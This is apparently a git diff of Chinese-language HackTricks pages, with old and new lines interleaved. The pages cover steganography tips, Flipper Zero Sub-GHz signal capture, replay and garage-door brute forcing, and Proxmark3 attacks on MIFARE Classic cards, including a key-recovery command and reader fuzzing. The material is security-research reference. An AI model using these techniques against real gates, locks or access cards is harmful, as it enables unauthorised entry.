通过在线工具如[此DTMF检测器](https://unframework.github.io/dtmf-detect/)和[DialABC](http://dialabc.com/sound/detect/index.html),可以检测音频文件中的DTMF音调。
|
||||
### **DTMF Tones - 拨号音**
|
||||
|
||||
可以通过在线工具如[此DTMF检测器](https://unframework.github.io/dtmf-detect/)和[DialABC](http://dialabc.com/sound/detect/index.html)来检测音频文件中的DTMF音调。
|
||||
|
||||
## **其他技术**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
将平方为整数的二进制数据可能代表QR码。使用以下代码片段进行检查:
|
||||
### **二进制长度平方根 - QR码**
|
||||
|
||||
平方为整数的二进制数据可能代表一个QR码。使用以下代码片段进行检查:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **点字翻译**
|
||||
|
||||
要进行点字翻译,请使用[Branah点字翻译器](https://www.branah.com/braille-translator)这一优秀资源。
|
||||
|
||||
## **参考资料**
|
||||
|
@ -202,22 +201,16 @@ math.sqrt(2500) #50
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找出最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,50 +4,35 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
使用[**Flipper Zero**](https://flipperzero.one/),您可以:
|
||||
|
||||
* **监听/捕获/重放无线电频率:** [**Sub-GHz**](fz-sub-ghz.md)****
|
||||
* **读取/捕获/模拟NFC卡:** [**NFC**](fz-nfc.md)****
|
||||
* **读取/捕获/模拟125kHz标签:** [**125kHz RFID**](fz-125khz-rfid.md)****
|
||||
* **读取/捕获/发送红外信号:** [**红外线**](fz-infrared.md)****
|
||||
* **读取/捕获/模拟iButtons:** [**iButton**](../ibutton.md)****
|
||||
* **监听/捕获/重放无线电频率:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **读取/捕获/模拟NFC卡:** [**NFC**](fz-nfc.md)
|
||||
* **读取/捕获/模拟125kHz标签:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **读取/捕获/发送红外信号:** [**Infrared**](fz-infrared.md)
|
||||
* **读取/捕获/模拟iButtons:** [**iButton**](../ibutton.md)
|
||||
* **用作Bad USB**
|
||||
* **将其用作安全密钥(U2F)**
|
||||
* **用作安全密钥(U2F)**
|
||||
* **玩贪吃蛇**
|
||||
|
||||
**其他Flipper Zero资源在** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
**其他Flipper Zero资源在** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,28 +9,20 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 简介 <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero可以使用其内置模块在300-928 MHz范围内**接收和发送无线电频率**,可以读取、保存和模拟遥控器。这些遥控器用于与门、栅栏、无线电锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero可以帮助您了解您的安全是否受到威胁。
|
||||
Flipper Zero可以使用其内置模块**接收和发送300-928 MHz范围内的无线电频率**,可以读取、保存和模拟遥控器。这些遥控器用于与门、栅栏、无线电锁、遥控开关、无线门铃、智能灯等进行交互。Flipper Zero可以帮助您了解您的安全是否受到威胁。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHz硬件 <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero具有内置的基于[CC1101芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf)和无线电天线(最大范围为50米)的次1 GHz模块。CC1101芯片和天线均设计用于在300-348 MHz、387-464 MHz和779-928 MHz频段上运行。
|
||||
Flipper Zero具有内置的基于[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101芯片](https://www.ti.com/lit/ds/symlink/cc1101.pdf)和无线电天线的次1 GHz模块(最大范围为50米)。CC1101芯片和天线均设计用于在300-348 MHz、387-464 MHz和779-928 MHz频段工作。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -42,14 +34,14 @@ Flipper Zero具有内置的基于[CC1101芯片](https://www.ti.com/lit/ds/symlin
|
|||
如何找到遥控器使用的频率
|
||||
{% endhint %}
|
||||
|
||||
在分析时,Flipper Zero会在频率配置中提供的所有频率上扫描信号强度(RSSI)。Flipper Zero会显示具有最高RSSI值的频率,信号强度高于-90 [dBm](https://en.wikipedia.org/wiki/DBm)。
|
||||
在分析时,Flipper Zero会在频率配置中的所有可用频率上扫描信号强度(RSSI)。Flipper Zero会显示具有最高RSSI值的频率,信号强度高于-90 [dBm](https://en.wikipedia.org/wiki/DBm)。
|
||||
|
||||
要确定遥控器的频率,请执行以下操作:
|
||||
|
||||
1. 将遥控器放置在Flipper Zero的左侧非常近的位置。
|
||||
2. 转到**主菜单** **→ Sub-GHz**。
|
||||
3. 选择**频率分析仪**,然后按住要分析的遥控器上的按钮。
|
||||
4. 查看屏幕上的频率值。
|
||||
4. 在屏幕上查看频率值。
|
||||
|
||||
### 读取
|
||||
|
||||
|
@ -57,32 +49,32 @@ Flipper Zero具有内置的基于[CC1101芯片](https://www.ti.com/lit/ds/symlin
|
|||
查找使用的频率的信息(也是找到使用的频率的另一种方法)
|
||||
{% endhint %}
|
||||
|
||||
**读取**选项会**监听配置频率**上的指定调制:默认为433.92 AM。如果在读取时**发现了什么**,屏幕上会提供**信息**。此信息可用于将来复制信号。
|
||||
**读取**选项会**监听配置频率**上的指定调制:默认为433.92 AM。当读取时,如果发现**任何内容**,屏幕上会提供信息。此信息可用于将来复制信号。
|
||||
|
||||
在使用读取时,可以按**左侧按钮**并**进行配置**。\
|
||||
此时有**4种调制**(AM270、AM650、FM328和FM476),以及**存储的几个相关频率**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
您可以设置**您感兴趣的任何频率**,但是,如果您**不确定遥控器使用的是哪个频率**,请将Hopping设置为ON(默认为关闭),然后多次按按钮,直到Flipper捕获并提供您设置频率所需的信息。
|
||||
您可以设置**您感兴趣的任何频率**,但是,如果您**不确定遥控器使用的是哪个频率**,请将Hopping设置为ON(默认为关闭),然后按下按钮多次,直到Flipper捕获它并为您提供设置频率所需的信息。
|
||||
|
||||
{% hint style="danger" %}
|
||||
在频率之间切换需要一些时间,因此在切换时传输的信号可能会被错过。为了获得更好的信号接收,请设置由频率分析仪确定的固定频率。
|
||||
{% endhint %}
|
||||
|
||||
### **读取原始**
|
||||
### **读取原始数据**
|
||||
|
||||
{% hint style="info" %}
|
||||
在配置的频率上记录信号(并重放)
|
||||
在配置的频率上窃取(并重放)信号
|
||||
{% endhint %}
|
||||
|
||||
**读取原始**选项会在监听频率上记录发送的信号。这可用于**窃取**信号并**重放**。
|
||||
**读取原始数据**选项会记录在监听频率上发送的信号。这可用于**窃取**信号并**重放**它。
|
||||
|
||||
默认情况下,**读取原始也是在433.92的AM650中**,但是如果使用读取选项找到您感兴趣的信号在**不同的频率/调制**上,您也可以通过按左键(在读取原始选项内)进行修改。
|
||||
默认情况下,**读取原始数据也是在433.92的AM650中**,但是如果使用读取选项发现您感兴趣的信号在**不同的频率/调制**上,您也可以通过按左键(在读取原始数据选项内)进行修改。
|
||||
|
||||
### 暴力破解
|
||||
|
||||
如果您知道例如车库门使用的协议,可以**生成所有代码并使用Flipper Zero发送它们**。这是一个支持常见类型的车库的示例:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\*
|
||||
如果您知道例如车库门使用的协议,可以**生成所有代码并使用Flipper Zero发送它们**。这是一个支持通用常见类型车库的示例:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### 手动添加
|
||||
|
||||
|
@ -90,32 +82,31 @@ Flipper Zero具有内置的基于[CC1101芯片](https://www.ti.com/lit/ds/symlin
|
|||
从配置的协议列表中添加信号
|
||||
{% endhint %}
|
||||
|
||||
#### [支持的协议列表](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a>
|
||||
#### [支持的协议列表](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433(适用于大多数静态代码系统) | 433.92 | 静态 |
|
||||
| ----------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | 静态 |
|
||||
| Nice Flo 24bit\_433 | 433.92 | 静态 |
|
||||
| CAME 12bit\_433 | 433.92 | 静态 |
|
||||
| CAME 24bit\_433 | 433.92 | 静态 |
|
||||
| Linear\_300 | 300.00 | 静态 |
|
||||
| CAME TWEE | 433.92 | 静态 |
|
||||
| Gate TX\_433 | 433.92 | 静态 |
|
||||
| DoorHan\_315 | 315.00 | 动态 |
|
||||
| DoorHan\_433 | 433.92 | 动态 |
|
||||
| LiftMaster\_315 | 315.00 | 动态 |
|
||||
| LiftMaster\_390 | 390.00 | 动态 |
|
||||
| Security+2.0\_310 | 310.00 | 动态 |
|
||||
| Security+2.0\_315 | 315.00 | 动态 |
|
||||
| Security+2.0\_390 | 390.00 | 动态 |
|
||||
|
||||
| ---------------------------------------- | ------ | ------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | 静态 |
|
||||
| Nice Flo 24bit\_433 | 433.92 | 静态 |
|
||||
| CAME 12bit\_433 | 433.92 | 静态 |
|
||||
| CAME 24bit\_433 | 433.92 | 静态 |
|
||||
| Linear\_300 | 300.00 | 静态 |
|
||||
| CAME TWEE | 433.92 | 静态 |
|
||||
| Gate TX\_433 | 433.92 | 静态 |
|
||||
| DoorHan\_315 | 315.00 | 动态 |
|
||||
| DoorHan\_433 | 433.92 | 动态 |
|
||||
| LiftMaster\_315 | 315.00 | 动态 |
|
||||
| LiftMaster\_390 | 390.00 | 动态 |
|
||||
| Security+2.0\_310 | 310.00 | 动态 |
|
||||
| Security+2.0\_315 | 315.00 | 动态 |
|
||||
| Security+2.0\_390 | 390.00 | 动态 |
|
||||
### 支持的Sub-GHz供应商
|
||||
|
||||
请查看[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)中的列表。
|
||||
查看列表[https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
|
||||
### 区域支持的频率
|
||||
### 各地区支持的频率
|
||||
|
||||
请查看[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)中的列表。
|
||||
查看列表[https://docs.flipperzero.one/sub-ghz/frequencies](https://docs.flipperzero.one/sub-ghz/frequencies)
|
||||
|
||||
### 测试
|
||||
|
||||
|
@ -127,22 +118,16 @@ Flipper Zero具有内置的基于[CC1101芯片](https://www.ti.com/lit/ds/symlin
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,30 +4,22 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 使用Proxmark3攻击RFID系统
|
||||
|
||||
首先,您需要拥有一个[**Proxmark3**](https://proxmark.com),并[**安装软件及其依赖项**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
首先,您需要拥有一个[**Proxmark3**](https://proxmark.com)并[**安装软件及其依赖项**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。
|
||||
|
||||
### 攻击MIFARE Classic 1KB
|
||||
|
||||
它有**16个扇区**,每个扇区有**4个块**,每个块包含**16字节**。 UID位于扇区0块0中(无法更改)。
|
||||
要访问每个扇区,您需要**2个密钥**(**A**和**B**),这些密钥存储在每个扇区的**块3**中(扇区尾部)。 扇区尾部还存储了**访问位**,使用这2个密钥可以授予对**每个块**的**读取和写入**权限。
|
||||
它有**16个扇区**,每个扇区有**4个块**,每个块包含**16字节**。 UID位于扇区0块0中(不可更改)。\
|
||||
要访问每个扇区,您需要**2个密钥**(**A**和**B**),这些密钥存储在**每个扇区的块3中**(扇区尾部)。 扇区尾部还存储了**访问位**,这些位给出了使用这2个密钥对**每个块进行读取和写入**权限。\
|
||||
如果您知道第一个密钥,则可以使用2个密钥来授予读取权限,如果您知道第二个密钥,则可以授予写入权限(例如)。
|
||||
|
||||
可以执行多种攻击。
|
||||
|
@ -73,21 +65,14 @@ proxmark3> script run mfkeys
|
|||
```
|
||||
您可以创建一个脚本来**模糊标签读卡器**,通过复制**有效卡**的数据,编写一个**Lua脚本**来**随机化**一个或多个随机**字节**,并检查**读卡器**在任何迭代中是否**崩溃**。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR**来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,78 +2,76 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
